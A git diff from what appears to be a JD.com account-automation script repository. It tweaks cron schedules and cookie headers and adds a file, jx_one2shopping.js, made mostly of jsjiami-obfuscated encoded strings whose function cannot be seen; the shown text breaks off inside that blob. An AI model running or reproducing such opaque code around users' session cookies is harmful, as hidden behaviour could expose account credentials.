a/jd_sign_graphics.js +++ b/jd_sign_graphics.js @@ -30,7 +30,7 @@ let errorNum = 0 let JD_API_HOST = 'https://sendbeans.jd.com' const turnTableId = [ { "name": "翻牌", "id": 1082, "shopid": 1000004123, "url": "https://sendbeans.jd.com/jump/index/" }, - //{ "name": "翻牌", "id": 1423, "shopid": 1000090929, "url": "https://sendbeans.jd.com/jump/index/" }, + { "name": "翻牌", "id": 1440, "shopid": 1000005670, "url": "https://sendbeans.jd.com/jump/index/" }, //{ "name": "翻牌", "id": 1419, "shopid": 1000007205, "url": "https://sendbeans.jd.com/jump/index/" }, ] diff --git a/jd_try.js b/jd_try.js index 5c0a928dc..2e588d71d 100644 --- a/jd_try.js +++ b/jd_try.js @@ -6,7 +6,7 @@ * 上一作者说了每天最多300个商店,总上限为500个,jd_unsubscribe.js我已更新为批量取关版 * 请提前取关至少250个商店确保京东试用脚本正常运行 * @Address: https://github.com/X1a0He/jd_scripts_fixed/blob/main/jd_try_xh.js -cron "4 1-22/8 * * *" jd_try.js, tag:京东试用 +cron "44 1-22/8 * * *" jd_try.js, tag:京东试用 */ const $ = new Env('京东试用') @@ -120,7 +120,7 @@ let args_xh = { * 可设置环境变量:JD_TRY_APPLYINTERVAL * 默认为3000,也就是3秒 * */ - applyInterval: process.env.JD_TRY_APPLYINTERVAL * 1 || 10000, + applyInterval: process.env.JD_TRY_APPLYINTERVAL * 1 || 30000, /* * 商品数组的最大长度,通俗来说就是即将申请的商品队列长度 * 例如设置为20,当第一次获取后获得12件,过滤后剩下5件,将会进行第二次获取,过滤后加上第一次剩余件数 @@ -184,7 +184,7 @@ let args_xh = { $.index = i + 1; $.isLogin = true; $.nickName = ''; - await totalBean(); + //await totalBean(); console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); $.except = false; if(args_xh.except.includes($.UserName)){ @@ -545,7 +545,7 @@ function try_MyTrials(page, selected) { 'origin': 'https://prodev.m.jd.com', 'User-Agent': 'jdapp;iPhone;10.3.4;;;M/5.0;appBuild/167945;jdSupportDarkMode/1;;;Mozilla/5.0 (iPhone; CPU iPhone OS 15_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;', 'referer': 'https://prodev.m.jd.com/', - 'cookie': `${$.cookie} __jda=1.1.1.1.1.1;` + 'cookie': `${$.cookie} __jda=1.0;` }, } $.post(options, (err, resp, data) => { @@ -586,7 +586,7 @@ function taskurl_xh(appid, functionId, body = JSON.stringify({})) { return { "url": `${URL}?appid=${appid}&functionId=${functionId}&clientVersion=10.3.4&client=wh5&body=${encodeURIComponent(body)}`, 'headers': { - 'Cookie': `${$.cookie} __jda=1.1.1.1.1.1;`, + 'Cookie': `${$.cookie} __jda=1.0;`, 'user-agent': 'jdapp;iPhone;10.1.2;15.0;ff2caa92a8529e4788a34b3d8d4df66d9573f499;network/wifi;model/iPhone13,4;addressid/2074196292;appBuild/167802;jdSupportDarkMode/1;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', 'Referer': 'https://prodev.m.jd.com/', 'origin': 'https://prodev.m.jd.com/', diff --git a/jx_one2shopping.js b/jx_one2shopping.js new file mode 100644 index 000000000..a314037f1 --- /dev/null +++ b/jx_one2shopping.js @@ -0,0 +1,10 @@ +/* +入口:京喜-我的-一元兑好礼 +任务+开宝箱 +23 9,14 * * * https://raw.githubusercontent.com/6dylan6/jdpro/main/jx_one2shopping.js +updateTime:2022-07-12 By Dylan +*/ +const $ = new Env("京喜一元兑好礼"); +;var encode_version = 'jsjiami.com.v5', msbck = '__0xe5943', __0xe5943=['\x77\x36\x59\x6c\x77\x72\x30\x46\x77\x70\x78\x42\x77\x6f\x63\x70','\x35\x61\x61\x36\x77\x34\x58\x43\x6d\x2b\x69\x50\x72\x75\x57\x38\x68\x4f\x65\x37\x6d\x4f\x57\x4f\x73\x6c\x49\x63','\x77\x71\x37\x44\x6d\x67\x38\x4e','\x77\x35\x6a\x43\x73\x4d\x4f\x53\x47\x4d\x4b\x36\x57\x55\x46\x61\x50\x73\x4f\x51\x5a\x67\x3d\x3d','\x51\x4d\x4b\x4c\x77\x72\x48\x43\x67\x56\x6b\x3d','\x77\x34\x5a\x72\x44\x63\x4b\x6e\x77\x34\x6b\x3d','\x77\x71\x4d\x44\x77\x36\x6e\x44\x74\x6b\x63\x3d','\x53\x68\x6b\x74','\x77\x70\x6a\x44\x71\x53\x59\x3d','\x55\x63\x4b\x59\x77\x70\x50\x43\x6f\x48\x51\x3d','\x77\x72\x62\x44\x6e\x4d\x4f\x53\x77\x34\x50\x43\x6a\x77\x3d\x3d','\x65\x4d\x4f\x56\x5a\x41\x4c\x44\x6b\x67\x3d\x3d','\x77\x35\x67\x42\x77\x37\x6a\x44\x6b\x69\x45\x3d','\x59\x43\x39\x58\x59\x57\x77\x3d','\x64\x46\x2f\x44\x6b\x73\x4f\x63\x77\x70\x45\x3d','\x77\x6f\x50\x44\x6b\x79\x34\x6c\x77\x70\x30\x3d','\x59\x69\x74\x56\x66\x6d\x68\x31\x77\x36\x63\x3d','\x77\x71\x6f\x74\x77\x6f\x58\x43\x6d\x4d\x4f\x79','\x65\x6c\x62\x43\x6c\x6b\x4d\x74','\x77\x34\x62\x43\x6e\x73\x4f\x76\x4e\x38\x4b\x48','\x66\x4d\x4b\x75\x77\x6f\x76\x44\x75\x73\x4f\x6b','\x77\x6f\x6a\x43\x75\x44\x48\x43\x76\x46\x34\x3d','\x46\x43\x67\x71\x77\x35\x63\x49\x4a\x41\x3d\x3d','\x77\x70\x38\x79\x77\x70\x7a\x43\x6f\x41\x3d\x3d','\x77\x71\x6b\x36\x48\x4d\x4b\x64\x62\x41\x3d\x3d','\x42\x45\x6f\x52\x42\x4d\x4f\x79','\x77\x35\x6e\x43\x72\x63\x4f\x77\x44\x38\x4b\x63','\x77\x34\x66\x44\x72\x30\x76\x44\x6b\x51\x3d\x3d','\x41\x63\x4b\x56\x77\x36\x6c\x66\x77\x71\x51\x37\x47\x77\x3d\x3d','\x77\x35\x72\x43\x6f\x4d\x4f\x57\x45\x51\x3d\x3d','\x57\x30\x52\x46','\x5a\x79\x2f\x43\x70\x47\x33\x44\x6a\x4d\x4f\x33\x42\x63\x4b\x73','\x77\x37\x4c\x43\x69\x38\x4f\x61\x45\x38\x4f\x57','\x62\x6d\x33\x43\x73\x41\x3d\x3d','\x77\x6f\x44\x44\x76\x79\x51\x6f\x77\x71\x6f\x59\x77\x6f\x72\x43\x6e\x67\x3d\x3d','\x4e\x4d\x4f\x74\x77\x6f\x66\x43\x67\x32\x34\x3d','\x77\x35\x56\x52\x77\x6f\x38\x3d','\x4a\x73\x4f\x75\x77\x35\x50\x43\x67\x63\x4b\x6a','\x43\x68\x49\x4d\x77\x35\x4d\x59','\x77\x36\x4e\x50\x50\x63\x4b\x49\x77\x36\x49\x3d','\x77\x34\x62\x44\x71\x46\x50\x44\x74\x4d\x4b\x65','\x51\x4d\x4b\x66\x77\x72\x44\x43\x6d\x67\x3d\x3d','\x4b\x38\x4f\x4a\x77\x37\x48\x43\x68\x73\x4b\x44','\x77\x35\x62\x43\x74\x48\x6b\x3d','\x63\x6c\x76\x44\x67\x38\x4f\x50\x77\x35\x52\x64\x77\x6f\x6e\x44\x6f\x7a\x67\x4d','\x49\x63\x4f\x32\x77\x34\x37\x43\x68\x67\x48\x43\x75\x4d\x4f\x46\x77\x70\x55\x51\x66\x51\x66\x43\x75\x38\x4b\x62\x44\x58\x67\x68','\x58\x6a\x44\x44\x6d\x4d\x4f\x51\x77\x35\x42\x55\x77\x72\x33\x43\x71\x38\x4b\x55\x46\x4d\x4f\x7a\x77\x37\x4e\x48\x52\x53\x6b\x71\x77\x71\x78\x56\x4f\x73\x4b\x64\x46\x4d\x4b\x4f','\x77\x37\x6a\x44\x69\x48\x72\x44\x71\x4d\x4b\x54\x77\x70\x48\x44\x68\x45\x33\x44\x6f\x4d\x4f\x4c\x56\x68\x74\x6d\x47\x33\x64\x50\x77\x36\x6b\x69\x77\x6f\x50\x43\x6c\x54\x31\x75\x77\x34\x72\x43\x6b\x31\x6b\x30\x77\x35\x4c\x44\x6b\x77\x3d\x3d','\x77\x71\x44\x43\x75\x56\x37\x43\x69\x63\x4b\x68\x4a\x78\x45\x48\x55\x63\x4f\x6d\x77\x6f\x78\x6f\x77\x6f\x62\x43\x6d\x38\x4b\x50\x5a\x63\x4f\x39\x55\x6e\x6a\x43\x6f\x73\x4b\x41\x77\x37\x5a\x4b\x77\x70\x39\x56\x77\x71\x73\x69\x4e\x4d\x4f\x35\x49\x67\x2f\x43\x72\x38\x4f\x54\x77\x36\x6f\x35\x54\x44\x63\x5a\x52\x7a\x48\x43\x6d\x38\x4f\x58\x66\x4d\x4b\x45\x46\x38\x4f\x68\x4f\x48\x73\x6c\x77\x70\x5a\x6f\x77\x37\x6a\x44\x72\x73\x4b\x56\x56\x73\x4f\x45\x77\x37\x55\x77\x4c\x67\x56\x66\x53\x77\x70\x4a\x57\x73\x4f\x43\x77\x70\x39\x33\x77\x35\x48\x44\x71\x77\x59\x6b\x77\x34\x73\x58\x77\x72\x56\x67\x4f\x30\x48\x44\x6d\x58\x31\x50\x50\x4d\x4f\x35\x59\x44\x4c\x43\x74\x42\x30\x4a\x77\x34\x46\x48\x49\x73\x4f\x51\x41\x68\x6a\x43\x6c\x63\x4b\x77\x4f\x73\x4f\x46\x4b\x4d\x4b\x34\x64\x45\x48\x43\x68\x38\x4b\x78\x52\x38\x4f\x79\x77\x37\x4c\x43\x72\x33\x73\x39\x66\x51\x33\x43\x68\x63\x4b\x6c\x77\x72\x4c\x43\x75\x53\x72\x43\x75\x47\x37\x44\x73\x47\x66\x43\x70\x38\x4b\x47\x4b\x38\x4b\x30\x63\x6c\x50\x44\x71\x52\x62\x44\x74\x73\x4f\x35\x77\x37\x6e\x44\x6e\x4d\x4f\x41\x77\x35\x68\x39\x77\x71\x4e\x2f\x77\x36\x33\x44\x6e\x32\x70\x51\x4a\x52\x41\x65\x4c\x6b\x4a\x49\x77\x72\x50\x43\x75\x6a\x2f\x43\x6c\x38\x4b\x37\x65\x44\x6b\x6b\x77\x70\x2f\x43\x74\x38\x4f\x73\x45\x30\x56\x67\x77\x70\x2f\x43\x6f\x32\x63\x32\x77\x6f\x6a\x44\x6c\x73\x4b\x62\x45\x33\x72\x43\x72\x4d\x4f\x72\x44\x73\x4f\x73\x4e\x4d\x4f\x62\x48\x73\x4f\x36\x77\x72\x37\x44\x6e\x51\x6b\x6d\x43\x6e\x41\x6b\x77\x71\x6a\x44\x72\x33\x37\x44\x70\x44\x6e\x43\x6d\x73\x4f\x5a\x54\x63\x4f\x50\x77\x35\x72\x44\x76\x63\x4b\x52\x77\x71\x72\x43\x73\x78\x62\x44\x6b\x63\x4f\x62\x65\x73\x4b\x58\x77\x34\x5a\x30\x52\x45\x4d\x53\x77\x37\x48\x44\x6d\x48\x41\x4e\x77\x35\x66\x43\x73\x63\x4f\x2f\x4e\x38\x4b\x4a\x52\x52\x62\x44\x6b\x38\x4b\x32\x46\x38\x4f\x62\x64\x73\x4f\x39\x77\x36\x7a\x44\x6a\x63\x4b\x32\x77\x70\x41\x48\x51\x63\x4f\x4b\x4d\x63\x4b\x45\x77\x36\x38\x2b\x46\x73\x4b\x34\x77\x37\x6e\x43\x70\x78\x58\x43\x72\x38\x4f\x6f\x4f\x38\x4f\x2f\x77\x36\x48\x43\x70\x48\x68\x58\x77\x72\x6a\x43\x69\x54\x6c\x55\x47\x6c\x35\x4f\x77\x34\x2f\x44\x71\x67\x37\x43\x6c\x45\x77\x56\x77\x72\x51\x7a\x77\x6f\x63\x2f\x77\x34\x4c\x44\x71\x54\x4c\x43\x6e\x4d\x4f\x4e\x77\x70\x5a\x4c\x77\x34\x68\x5a\x48\x38\x4f\x47\x77\x70\x76\x43\x6e\x4d\x4f\x50\x77\x37\x42\x4e\x77\x71\x48\x43\x69\x43\x72\x44\x75\x47\x76\x43\x6c\x6d\x55\x6c\x46\x79\x34\x32\x46\x4d\x4b\x2f\x58\x63\x4b\x52\x46\x45\x72\x44\x6a\x4d\x4b\x70\x58\x38\x4b\x39\x63\x6e\x51\x62\x61\x51\x63\x46\x77\x71\x68\x63\x58\x38\x4f\x69\x61\x69\x4e\x6d\x54\x6b\x2f\x44\x68\x6c\x48\x43\x68\x79\x76\x43\x75\x6c\x6a\x43\x67\x30\x51\x37\x58\x42\x76\x44\x6d\x63\x4f\x51\x77\x6f\x4a\x69\x51\x73\x4f\x47\x42\x7a\x52\x70\x4d\x41\x2f\x44\x75\x6a\x4c\x43\x76\x4d\x4b\x47\x4e\x6a\x52\x77\x4f\x41\x44\x44\x6b\x73\x4f\x58\x63\x4d\x4f\x2f\x57\x31\x31\x53\x77\x72\x58\x44\x68\x67\x3d\x3d','\x45\x6d\x45\x38\x59\x38\x4b\x77','\x49\x38\x4f\x78\x77\x70\x5a\x47\x46\x67\x3d\x3d','\x77\x34\x55\x7a\x77\x37\x33\x44\x70\x69\x45\x3d','\x48\x73\x4f\x6b\x77\x34\x50\x43\x70\x73\x4b\x78','\x77\x70\x45\x30\x77\x6f\x66\x43\x76\x63\x4f\x7a\x45\x38\x4f\x74\x4f\x55\x4c\x43\x76\x73\x4f\x6c\x77\x36\x44\x44\x75\x38\x4f\x34\x62\x4d\x4b\x35\x77\x34\x66\x43\x6c\x7a\x37\x43\x6a\x73\x4f\x4f\x52\x4d\x4b\x32\x77\x71\x44\x44\x6e\x73\x4b\x76\x77\x71\x50\x44\x6d\x42\x58\x44\x73\x63\x4f\x36\x4a\x68\x37\x43\x76\x56\x7a\x44\x6b\x57\x39\x65\x49\x57\x34\x31\x48\x73\x4f\x69\x77\x72\x63\x65\x56\x41\x30\x52\x49\x77\x45\x7a\x77\x71\x6c\x75\x66\x38\x4f\x32\x56\x54\x62\x44\x6d\x45\x42\x71\x58\x73\x4f\x35\x5a\x53\x56\x4a\x42\x38\x4b\x6c\x5a\x73\x4b\x4c\x4d\x32\x66\x43\x71\x63\x4b\x32\x54\x6c\x46\x69\x77\x36\x72\x44\x6d\x4d\x4b\x48\x77\x6f\x63\x43\x77\x6f\x45\x49\x77\x35\x4a\x61\x43\x6e\x59\x46\x54\x6e\x46\x64\x64\x43\x37\x43\x72\x38\x4f\x46\x41\x63\x4f\x4c\x59\x32\x52\x62\x77\x72\x48\x44\x73\x4d\x4b\x53\x77\x34\x63\x49\x77\x34\x62\x44\x74\x6a\x52\x4d\x65\x73\x4f\x62\x55\x51\x73\x54\x63\x6c\x63\x42\x77\x36\x78\x46\x77\x71\x41\x6e\x56\x41\x66\x44\x73\x31\x45\x71','\x62\x6e\x72\x44\x73\x63\x4f\x7a\x77\x6f\x6f\x3d','\x54\x44\x38\x2f\x61\x63\x4b\x4f','\x64\x52\x5a\x71\x5a\x57\x45\x3d','\x66\x6e\x48\x44\x6f\x73\x4b\x55\x77\x70\x77\x3d','\x55\x63\x4f\x69\x55\x7a\x58\x44\x6b\x67\x3d\x3d','\x52\x54\x74\x54\x52\x6d\x4d\x3d','\x62\x38\x4f\x48\x55\x57\x6f\x3d','\x54\x42\x4d\x4b\x53\x38\x4b\x5a\x4c\x38\x4f\x34\x77\x70\x77\x3d','\x42\x44\x37\x43\x67\x73\x4f\x52\x42\x77\x3d\x3d','\x77\x34\x66\x43\x75\x4d\x4f\x6d\x46\x38\x4b\x66','\x77\x36\x51\x48\x77\x37\x7a\x43\x6e\x38\x4b\x74','\x77\x34\x78\x76\x44\x51\x3d\x3d','\x46\x42\x4c\x43\x6e\x77\x3d\x3d','\x63\x7a\x73\x4b','\x77\x71\x44\x43\x6e\x41\x6f\x3d','\x58\x48\x48\x43\x6a\x77\x3d\x3d','\x42\x4d\x4f\x41\x77\x37\x77\x3d','\x77\x34\x4c\x44\x68\x32\x30\x3d','\x48\x4d\x4f\x43\x77\x72\x76\x43\x76\x47\x55\x3d','\x44\x73\x4f\x4a\x77\x6f\x64\x30\x4d\x67\x3d\x3d','\x77\x36\x33\x43\x6a\x4d\x4f\x68\x49\x38\x4b\x53','\x77\x37\x2f\x43\x68\x73\x4f\x63\x48\x4d\x4f\x68\x43\x41\x3d\x3d','\x46\x43\x67\x71','\x61\x73\x4b\x4e\x77\x72\x6a\x44\x70\x38\x4f\x55\x52\x63\x4b\x69\x77\x70\x4a\x44\x77\x35\x51\x31\x36\x4b\x32\x62\x35\x72\x4f\x71\x35\x61\x57\x75\x36\x4c\x53\x79\x37\x37\x2b\x36\x36\x4b\x36\x43\x35\x71\x47\x54\x35\x70\x36\x6e\x35\x37\x36\x7a\x36\x4c\x65\x47\x36\x59\x65\x61\x36\x4b\x32\x52','\x50\x73\x4f\x4f\x77\x35\x6e\x43\x6d\x63\x4b\x6b','\x63\x55\x37\x44\x69\x4d\x4b\x52\x77\x72\x34\x3d','\x77\x71\x33\x44\x72\x69\x50\x43\x72\x73\x4b\x6d','\x77\x72\x72\x44\x6d\x67\x6b\x66\x77\x6f\x6f\x3d','\x77\x71\x68\x34\x48\x52\x58\x43\x71\x53\x6c\x52\x77\x35\x4d\x39\x55\x73\x4b\x36\x46\x55\x4d\x39\x77\x37\x6a\x44\x67\x48\x6b\x66','\x77\x70\x55\x64\x4c\x4d\x4b\x62\x77\x72\x67\x3d','\x77\x72\x41\x44\x44\x38\x4b\x46\x77\x72\x6f\x3d','\x36\x49\x32\x39\x35\x62\x79\x73\x35\x70\x65\x4c\x35\x6f\x69\x6e\x35\x61\x61\x35\x35\x59\x75\x72\x37\x37\x2b\x46','\x77\x37\x62\x44\x6a\x58\x37\x44\x6f\x41\x3d\x3d','\x77\x35\x6e\x44\x75\x56\x66\x44\x6b\x46\x70\x52\x66\x77\x4d\x3d','\x4d\x73\x4f\x2f\x77\x35\x66\x43\x75\x63\x4b\x6e\x44\x38\x4f\x6e\x4f\x4d\x4f\x56','\x36\x49\x32\x4f\x35\x62\x2b\x58\x36\x4c\x65\x65\x35\x34\x71\x6b\x36\x59\x57\x52','\x77\x37\x2f\x43\x74\x6b\x2f\x43\x6e\x41\x3d\x3d','\x77\x70\x45\x6d\x46\x4d\x4b\x48\x77\x72\x4a\x6c\x50\x63\x4b\x6f\x77\x71\x2f\x43\x6c\x44\x58\x43\x6b\x6c\x7a\x43\x72\x73\x4b\x43\x4c\x78\x4e\x42','\x77\x71\x35\x46\x4f\x42\x66\x43\x74\x51\x3d\x3d','\x77\x35\x51\x48\x77\x36\x6e\x43\x72\x67\x3d\x3d','\x77\x71\x6c\x31\x41\x52\x44\x43\x74\x54\x51\x3d','\x77\x36\x6e\x43\x73\x6b\x2f\x43\x69\x4d\x4b\x6b\x4a\x6b\x4d\x3d','\x77\x35\x6a\x43\x73\x4d\x4f\x57\x44\x4d\x4b\x6b\x53\x51\x3d\x3d','\x77\x34\x70\x6d\x48\x73\x4b\x72','\x49\x38\x4b\x78\x77\x34\x4a\x50\x77\x72\x38\x3d','\x77\x34\x66\x44\x72\x31\x66\x44\x6b\x6a\x56\x52\x59\x41\x2f\x43\x6f\x6e\x51\x3d','\x77\x35\x6c\x68\x66\x46\x33\x44\x68\x38\x4f\x45\x77\x70\x6f\x6d\x77\x70\x4c\x44\x72\x38\x4f\x58\x62\x4d\x4f\x48\x53\x38\x4f\x37\x77\x6f\x77\x3d','\x62\x63\x4b\x4a\x77\x71\x6e\x44\x75\x63\x4f\x46\x45\x4d\x4f\x31\x77\x70\x31\x52\x77\x35\x42\x79\x77\x34\x62\x44\x67\x54\x46\x77\x77\x6f\x34\x63\x77\x72\x30\x68\x77\x6f\x31\x45\x4f\x41\x3d\x3d','\x43\x41\x7a\x43\x70\x63\x4f\x72\x44\x73\x4f\x74\x62\x69\x62\x44\x6b\x63\x4b\x2b\x41\x4d\x4b\x49\x77\x34\x7a\x43\x75\x6a\x77\x33\x48\x73\x4f\x69\x4b\x63\x4f\x4f\x4a\x73\x4f\x49\x77\x35\x51\x35\x77\x70\x78\x53\x66\x63\x4b\x69','\x77\x34\x2f\x44\x71\x43\x54\x43\x69\x73\x4b\x32\x77\x6f\x68\x31\x77\x34\x55\x36\x62\x73\x4b\x69\x77\x70\x2f\x43\x67\x47\x4c\x44\x75\x38\x4b\x48\x4c\x38\x4f\x5a\x53\x73\x4f\x6b\x53\x4d\x4b\x37\x4d\x63\x4f\x4f\x52\x63\x4b\x39\x50\x73\x4f\x78\x57\x55\x4e\x42\x50\x63\x4b\x50\x62\x68\x66\x44\x73\x56\x45\x52\x5a\x73\x4f\x61\x77\x36\x49\x7a\x77\x36\x44\x43\x69\x63\x4f\x79\x4f\x4d\x4b\x4c\x52\x47\x54\x44\x6c\x73\x4b\x44\x52\x4d\x4b\x31\x77\x71\x4c\x44\x6e\x45\x37\x43\x69\x4d\x4b\x78\x77\x34\x51\x62\x77\x37\x37\x44\x75\x33\x7a\x43\x70\x38\x4f\x42\x77\x72\x63\x32\x77\x34\x35\x6e\x48\x38\x4f\x7a\x77\x35\x64\x78\x50\x63\x4f\x6f\x77\x36\x58\x44\x6f\x4d\x4b\x73\x77\x34\x49\x51\x46\x73\x4b\x54\x77\x71\x62\x44\x6d\x4d\x4b\x58\x77\x70\x44\x43\x73\x6a\x76\x43\x6b\x63\x4b\x2f\x66\x6e\x76\x43\x6b\x47\x7a\x44\x6e\x69\x58\x43\x6d\x53\x34\x50\x77\x72\x45\x6a\x4d\x53\x67\x34\x58\x38\x4f\x56\x77\x70\x76\x44\x6d\x46\x58\x44\x6e\x48\x6e\x43\x75\x68\x72\x43\x73\x43\x68\x64\x77\x36\x48\x44\x6b\x42\x77\x4b\x77\x34\x35\x43\x53\x55\x35\x5a\x46\x63\x4b\x6c\x49\x6c\x44\x43\x75\x38\x4b\x74\x44\x73\x4f\x52\x77\x37\x62\x44\x6e\x6b\x37\x44\x75\x63\x4b\x4e\x59\x4d\x4f\x53\x58\x4d\x4b\x31\x4a\x32\x46\x78\x77\x37\x6a\x43\x74\x4d\x4b\x44\x51\x47\x54\x44\x6e\x4d\x4f\x67\x77\x72\x4c\x43\x6f\x38\x4b\x41\x4f\x44\x2f\x43\x6d\x63\x4b\x4e\x51\x4d\x4b\x62\x77\x35\x73\x68\x62\x4d\x4b\x77\x43\x63\x4b\x7a\x77\x36\x76\x44\x71\x4d\x4b\x38\x77\x71\x54\x44\x6c\x77\x62\x43\x67\x4d\x4f\x43\x77\x36\x7a\x44\x6b\x4d\x4f\x35\x77\x6f\x6a\x44\x67\x4d\x4b\x64\x77\x34\x50\x44\x69\x4d\x4b\x43\x77\x6f\x4a\x64\x4c\x63\x4b\x6c\x77\x70\x6e\x44\x73\x63\x4b\x33\x77\x70\x6a\x43\x67\x53\x51\x69\x48\x73\x4f\x41\x77\x36\x6e\x43\x6c\x78\x76\x43\x73\x44\x62\x44\x71\x4d\x4b\x37\x77\x35\x30\x56\x77\x71\x76\x43\x74\x73\x4b\x50\x77\x36\x50\x44\x73\x38\x4b\x76\x77\x34\x35\x71\x4d\x52\x50\x44\x71\x46\x58\x44\x6f\x63\x4f\x39\x62\x77\x4a\x52\x77\x70\x55\x34\x4f\x30\x77\x76\x4a\x6c\x72\x44\x70\x73\x4f\x36\x46\x47\x68\x33\x77\x37\x50\x43\x75\x6b\x5a\x45\x77\x34\x54\x43\x71\x32\x44\x43\x73\x78\x34\x30\x77\x37\x55\x63\x4a\x4d\x4b\x30\x59\x63\x4b\x6d\x44\x51\x6f\x4a\x77\x71\x6a\x44\x6a\x44\x44\x44\x67\x73\x4b\x59\x45\x48\x50\x44\x74\x6e\x49\x59\x77\x70\x77\x43\x77\x6f\x39\x73\x77\x34\x78\x35\x57\x63\x4b\x58\x45\x63\x4f\x54\x45\x4d\x4f\x32\x55\x38\x4f\x57\x61\x58\x4a\x38\x52\x73\x4b\x66\x53\x63\x4b\x6f\x58\x63\x4f\x50\x47\x38\x4b\x6a\x77\x72\x5a\x66\x77\x36\x6a\x43\x75\x67\x68\x68\x4f\x6b\x2f\x43\x6f\x57\x72\x44\x6f\x63\x4b\x79\x57\x67\x78\x6f\x77\x71\x48\x43\x6b\x55\x34\x57\x77\x71\x7a\x43\x6d\x4d\x4f\x4f\x77\x36\x76\x43\x69\x79\x4e\x64\x77\x70\x74\x75\x77\x70\x74\x48\x77\x36\x4e\x46\x77\x71\x54\x43\x74\x4d\x4f\x69\x41\x73\x4f\x76\x63\x77\x6a\x43\x6e\x6a\x58\x43\x67\x38\x4b\x75\x4e\x77\x73\x6b\x51\x73\x4f\x69\x77\x37\x59\x78\x54\x77\x6a\x44\x71\x43\x74\x45\x77\x34\x68\x35\x58\x78\x33\x43\x6d\x38\x4b\x2f\x52\x33\x55\x45\x77\x72\x33\x43\x74\x33\x37\x43\x68\x6b\x30\x36\x77\x36\x6f\x3d','\x42\x73\x4f\x70\x77\x72\x54\x44\x6d\x68\x77\x3d','\x77\x37\x30\x34\x77\x71\x34\x62\x77\x71\x73\x61\x77\x35\x46\x31\x65\x38\x4f\x37\x48\x7a\x49\x58\x4b\x54\x37\x43\x74\x55\x46\x54\x77\x6f\x66\x43\x67\x68\x37\x43\x6c\x4d\x4b\x42\x43\x4d\x4b\x75\x77\x6f\x7a\x43\x6e\x38\x4f\x59\x77\x34\x72\x43\x72\x38\x4f\x52\x65\x4d\x4b\x34\x77\x35\x64\x45\x54\x77\x50\x43\x70\x73\x4b\x31\x77\x36\x64\x66\x48\x6d\x73\x63\x77\x35\x49\x35\x77\x72\x34\x53\x58\x38\x4f\x79\x77\x36\x50\x43\x76\x31\x4c\x43\x70\x46\x6e\x44\x72\x67\x6a\x44\x6f\x6c\x4d\x5a\x41\x41\x6a\x43\x71\x38\x4b\x62\x42\x6c\x76\x43\x76\x78\x62\x44\x6f\x38\x4f\x36\x77\x37\x72\x43\x6a\x73\x4f\x7a\x77\x72\x6c\x64\x77\x70\x44\x43\x6f\x38\x4b\x4e\x59\x6b\x48\x43\x74\x38\x4f\x44\x77\x6f\x59\x46\x77\x37\x34\x6e\x77\x34\x33\x44\x76\x42\x50\x44\x71\x46\x70\x6e\x4b\x73\x4b\x6f\x77\x37\x64\x53\x77\x6f\x74\x32\x77\x34\x48\x43\x76\x63\x4f\x54\x77\x6f\x7a\x43\x6c\x67\x30\x73\x46\x38\x4b\x34\x4a\x63\x4f\x78\x77\x6f\x49\x36\x54\x4d\x4b\x79\x43\x42\x46\x53\x77\x72\x52\x31\x4c\x73\x4f\x64\x50\x57\x72\x44\x6a\x38\x4f\x42\x51\x33\x50\x44\x75\x44\x35\x4b\x77\x35\x41\x3d','\x45\x4d\x4f\x77\x77\x71\x52\x6f\x49\x41\x3d\x3d','\x4c\x73\x4f\x47\x77\x34\x50\x43\x6e\x73\x4b\x77','\x53\x38\x4b\x46\x77\x71\x58\x44\x6d\x38\x4f\x59','\x77\x37\x58\x44\x76\x46\x6e\x44\x6a\x63\x4b\x36','\x64\x78\x35\x32\x58\x6b\x34\x3d','\x77\x37\x4a\x43\x4b\x4d\x4b\x33\x77\x34\x59\x3d','\x57\x4d\x4f\x36\x57\x73\x4b\x31','\x63\x63\x4b\x53\x77\x6f\x37\x44\x76\x63\x4f\x45\x51\x38\x4b\x30\x77\x35\x55\x3d','\x77\x6f\x58\x44\x76\x6a\x6e\x43\x6c\x4d\x4b\x53','\x77\x6f\x6e\x44\x69\x4d\x4f\x48\x77\x34\x76\x43\x67\x41\x3d\x3d','\x54\x42\x76\x43\x75\x57\x33\x44\x69\x67\x3d\x3d','\x77\x71\x33\x44\x6e\x67\x38\x3d','\x57\x41\x56\x49','\x77\x34\x4e\x68\x49\x77\x3d\x3d','\x77\x70\x72\x43\x75\x51\x55\x3d','\x55\x38\x4f\x61\x65\x77\x3d\x3d','\x62\x48\x58\x44\x70\x67\x3d\x3d','\x53\x68\x4c\x43\x74\x41\x3d\x3d','\x54\x38\x4f\x38\x53\x51\x3d\x3d','\x4e\x63\x4f\x47\x77\x34\x63\x3d','\x45\x38\x4f\x2b\x77\x36\x2f\x43\x67\x51\x3d\x3d','\x52\x4d\x4b\x41\x77\x70\x41\x3d','\x77\x72\x59\x51\x77\x6f\x66\x43\x71\x63\x4f\x73','\x77\x70\x55\x54\x77\x72\x37\x43\x70\x38\x4f\x4f','\x77\x35\x77\x31\x77\x35\x44\x43\x70\x63\x4b\x52','\x43\x63\x4f\x76\x77\x72\x63\x3d','\x58\x53\x6a\x6c\x70\x61\x6e\x6f\x74\x62\x4c\x43\x71\x6c\x48\x6c\x6a\x5a\x50\x6c\x6d\x72\x54\x43\x6b\x73\x4b\x59','\x66\x79\x59\x71\x58\x73\x4b\x75','\x77\x70\x37\x43\x75\x77\x6e\x43\x68\x30\x4d\x3d','\x48\x73\x4f\x50\x77\x37\x4c\x43\x72\x43\x41\x3d','\x77\x6f\x4c\x44\x74\x38\x4f\x7a\x77\x34\x4c\x43\x74\x52\x59\x3d','\x77\x34\x50\x44\x75\x6c\x66\x44\x6a\x47\x74\x45\x61\x52\x62\x43\x74\x6e\x37\x44\x6c\x46\x6a\x44\x74\x4d\x4b\x30\x62\x4f\x69\x76\x70\x2b\x61\x7a\x75\x75\x57\x6c\x72\x75\x69\x33\x6a\x65\x2b\x2f\x6b\x4f\x69\x74\x74\x4f\x61\x68\x73\x65\x61\x64\x6c\x2b\x65\x39\x75\x75\x69\x33\x6f\x75\x6d\x48\x70\x4f\x69\x76\x6a\x77\x3d\x3d','\x55\x52\x6b\x57\x56\x4d\x4b\x67','\x4d\x6a\x2f\x43\x73\x38\x4f\x33\x49\x77\x3d\x3d','\x66\x41\x76\x44\x76\x63\x4f\x30\x77\x34\x30\x3d','\x